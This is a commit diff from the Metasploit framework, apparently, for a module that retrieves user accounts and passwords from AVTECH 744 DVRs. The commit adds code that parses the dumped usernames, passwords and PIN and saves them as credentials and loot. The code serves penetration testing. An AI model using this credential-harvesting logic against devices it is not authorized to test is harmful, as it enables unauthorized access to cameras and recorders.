Skip to content

Commit a3ff985

Browse files
committed
Adding Credentials Capabilities
This commit adds the ability for credentials to be retrieved via the 'creds' command. It also contains a few miscellaneous stylistic syntax changes.
1 parent 9430d38 commit a3ff985

File tree

1 file changed

+70
-12
lines changed

1 file changed

+70
-12
lines changed

modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb

Lines changed: 70 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
class Metasploit3 < Msf::Auxiliary
44

55
include Msf::Exploit::Remote::HttpClient
6+
include Msf::Auxiliary::Report
67

78
def initialize(info = {})
89
super(update_info(info,
@@ -34,19 +35,76 @@ def run
3435
}
3536
})
3637

37-
if (res != nil)
38-
res.body.each_line { |line|
39-
split = line.split('=')
40-
key = split[0]
41-
value = split[1]
42-
if (key && value)
43-
print_good("#{key} - #{value}")
38+
unless res
39+
fail_with(Failure::Unreachable, "No response received from the target")
40+
end
41+
42+
unless res.code == 200
43+
fail_with(Failure::Unknown, "An unknown error occured")
44+
end
45+
46+
raw_collection = extract_data(res.body)
47+
extract_creds(raw_collection)
48+
49+
p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
50+
print_good("avtech744.dvr.accounts stored in #{p}")
51+
end
52+
53+
def extract_data(body)
54+
raw_collection = []
55+
body.each_line do |line|
56+
key, value = line.split('=')
57+
if key && value
58+
_, second, third = key.split('.')
59+
if third
60+
index = second.slice(second.length - 1).to_i
61+
raw_collection[index] = raw_collection[index] ||= {}
62+
case third
63+
when "Username"
64+
raw_collection[index][:username] = value.strip!
65+
when "Password"
66+
raw_collection[index][:password] = value.strip!
67+
end
68+
elsif second.include? "Password"
69+
print_good("PIN Retrieved: #{key} - #{value.strip!}")
4470
end
45-
}
46-
p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
47-
print_good("avtech744.dvr.accounts stored in #{p}")
48-
else
49-
print_error("Unable to receive a response")
71+
end
72+
end
73+
raw_collection
74+
end
75+
76+
def extract_creds(raw_collection)
77+
raw_collection.each do |raw|
78+
if raw
79+
service_data = {
80+
address: rhost,
81+
port: rport,
82+
service_name: 'http',
83+
protocol: 'tcp',
84+
workspace_id: myworkspace_id
85+
}
86+
87+
credential_data = {
88+
module_fullname: self.fullname,
89+
origin_type: :service,
90+
private_data: raw[:password],
91+
private_type: :password,
92+
username: raw[:username]
93+
}
94+
95+
credential_data.merge!(service_data)
96+
97+
credential_core = create_credential(credential_data)
98+
99+
login_data = {
100+
core: credential_core,
101+
status: Metasploit::Model::Login::Status::UNTRIED
102+
}
103+
104+
login_data.merge!(service_data)
105+
106+
create_credential_login(login_data)
107+
end
50108
end
51109
end
52110
end

0 commit comments

Comments
 (0)